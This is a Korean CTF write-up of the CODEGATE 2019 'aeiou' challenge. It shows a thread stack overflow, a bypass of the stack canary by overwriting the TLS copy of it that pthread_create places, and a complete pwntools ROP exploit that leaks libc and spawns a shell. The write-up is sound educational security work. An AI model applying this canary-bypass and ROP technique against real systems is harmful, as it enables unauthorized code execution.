ipwn

[CODEGATE 2019] aeiou 본문

CTF's/CODEGATE

[CODEGATE 2019] aeiou

ipwn 2019. 3. 17. 02:28

올 해 코게 예선 포너블 문제 중 하나다.


트릭?이라면 트릭이고..아니라면 아니고 일단 라이브러리 내부 분석을 해 봐야 풀 수 있는 문제다.


Mitigation


[*] '/home/agh04140/pwn/codegate/2019/aeiou/aeiou'

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)



pie 빼고 다 걸려있다.


Analyzing


void __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  malloc(0x400uLL);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  putchar(10);
  puts("          Raising a Baby");
  puts("-------------------------------------");
  puts("      [1] Play with Cards");
  puts("      [2] Clearing the Cards");
  puts("      [3] Teaching numbers");
  puts("      [4] Sleeping the Baby");
  puts("      [5] Dancing with Baby!");
  puts("      [6] Give the child blocks!");
  puts("      [7] Sleep me");
  puts("--------------------------------------");
  printf(">>", 0LL);
  _isoc99_scanf("%d"&v3);
  putchar(10);
  switch ( v3 )
  {
    case 1:
      getchar();
      play();                                   // trash
      break;
    case 2:
      getchar();
      clear();                                  // trash
      break;
    case 3:
      getchar();
      teaching_num();
      break;
    case 4:
      getchar();
      sleeping();                               // trash
      goto LABEL_6;
    case 5:
LABEL_6:
      getchar();
      dancing();                                // trash
      break;
    case 6:
      getchar();
      give_blocks();                            // trash
      break;
    case 7:
      puts("Okay..");
      break;
    default:
      break;
  }
  puts("Bye");
}



사실 분석이라고 할 것도 없는게 custom unlink문제이거나, 레컨문제처럼 만들어 놨지만 main에서 함수들을 call할 때 loop를 돌리지 않는다.


그래서 한 번에 익스를 할 수 있는 벡터를 찾아야 한다.


근데 저기 주석으로 trash라고 해 놓은 곳들은 정말 아무 의미가 없거나, loop를 돌았다면 의미가 있었을 함수들이다.


즉 지금은 아무 의미가 없다.


void __cdecl teaching_num()
{
  pthread_t newthread; // [rsp+0h] [rbp-10h]
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
 
  v1 = __readfsqword(0x28u);
  pthread_create(&newthread, 0LL, teach_num, 0LL);
  if ( pthread_join(newthread, 0LL) )
    puts("oooooh :(");
}



남은 건 teaching_num 함수 하나인데 여기서 이렇게 쓰레드를 열어주고 teach_num함수를 실행시킨다.


void __fastcall teach_num(void *a1)
{
  signed __int64 num; // [rsp+8h] [rbp-1018h]
  char s[4104]; // [rsp+10h] [rbp-1010h]
  unsigned __int64 v3; // [rsp+1018h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  memset(s, 0, 0x1000uLL);
  puts("Hello!");
  puts("Let me know the number!");
  num = get_int();
  if ( num <= 0x10000 )
  {
    read_buf(0, s, num);
    puts("Thank You :)");
  }
  else
  {
    puts("Too much :(");
  }
}



여기서 대놓고 bof가 발생하는 걸 확인할 수 있다.

문제점이라면 canary가 걸려있다는 점이다.

Scenario

이제 canary만 우회할 수 있다면 마음대로 flow를 control할 수 있게 될 것 같은데, 한 가지 의심스러운 곳은 굳이 쓰레드를 열어줬다는 점이다.


대회 당시에는 stack_chk_fail 함수가 call되지 않는다는 점만 알아내고 못 풀었지만, 지금에 와서 다시 분석을 해봤더니 재밌는 점을 발견했다.


Dump of assembler code for function __pthread_create_2_1:   
   0x00007fa3d90a6990 <+0>: push   rbp
   0x00007fa3d90a6991 <+1>: mov    rbp,rsp
  
. . .

   0x00007fa3d90a6e11 <+1153>: mov    rcx,QWORD PTR fs:0x28
   0x00007fa3d90a6e1a <+1162>: mov    QWORD PTR [r13+0x28],rcx
   0x00007fa3d90a6e1e <+1166>: mov    rcx,QWORD PTR fs:0x30
   0x00007fa3d90a6e27 <+1175>: mov    QWORD PTR [r13+0x30],rcx
   0x00007fa3d90a6e2b <+1179>: mov    ecx,DWORD PTR fs:0x308
   0x00007fa3d90a6e33 <+1187>: mov    DWORD PTR [r13+0x614],ecx
   0x00007fa3d90a6e3a <+1194>: mov    ecx,DWORD PTR [r12+0x8]
 
  . . .




그것은 바로 쓰레드를 생성해줄 때 fs 세그먼트들을 전부 어떤 영역에 옮겨주는 걸 확인할 수 있는데 이 영역이 바로 쓰레드가 열린 이후 쓰레드가 사용할 스택 영역이라는 점이다.


그리고 pthread_create함수를 glibc에서 C코드로 좀 보다보면 stack_guard를 옮기는 것 처럼 보이는 함수가 있는데, 아마 이 부분이 저렇게 쓰여진 것 아닐까싶다.


근데 canary는 fs:0x28에서 참조되니까, 아까 존재했던 bof로 fs:0x28이 옮겨졌던 그 부분만 아다리를 맞춰서 잘 덮어주면 canary에 상관없이 flow를 control할 수 있다는 말이 된다.


이제 바로 익스를 하면 된다.


Exploit



from pwn import *
 
= process('./aeiou')
= ELF('./aeiou')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
prdi = 0x004026f3
bss = e.bss()
leave_ret = 0x00401573
prsi = 0x004026f1
 
#0x7f4814aa2728
#0x7f4814aa0f40
 
pay = 'A'*0x1008
pay += 'fuckfuck'
pay += p64(bss - 8)
pay += p64(prdi)
pay += p64(e.got['__libc_start_main'])
pay += p64(e.plt['puts'])
pay += p64(prdi)
pay += p64(0)
pay += p64(prsi)
pay += p64(bss)*2
pay += p64(e.plt['read'])
pay += p64(leave_ret)
 
pay = pay.ljust(0x17e8)
pay += 'fuckfuck'
 
sla = p.sendlineafter
sa = p.sendafter
= p.send
sl = p.sendline
 
pause()
 
sla('>>''3')
sla('number!'str(0x17f0))
s(pay)
 
libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00'- lib.symbols['__libc_start_main']
binsh = libc_base + 0x18cd57
system = libc_base + lib.symbols['system']
 
print 'libc_base : 0x%x' %libc_base
 
#s(p64(prdi) + p64(binsh) + p64(system))
s(p64(libc_base + 0x4526a))
p.interactive()


일반적인 rop + leave_ret으로 풀어주면 된다.



요즘은 일반적인 문제 말고 이런(라이브러리를 봐야 하는?)문제가 조금 더 재밌는 것 같다.

'CTF's > CODEGATE' 카테고리의 다른 글

[CODEGATE 2015] yocto (RTDL)  (0) 2019.01.05
[CODAGATE 2018] heapbabe  (0) 2018.11.13
[CODEGATE 2018] catshop  (0) 2018.05.17
[CODEGATE 2018] betting  (0) 2018.05.17
[CODEGATE 2016] bugbug  (0) 2018.03.26
Comments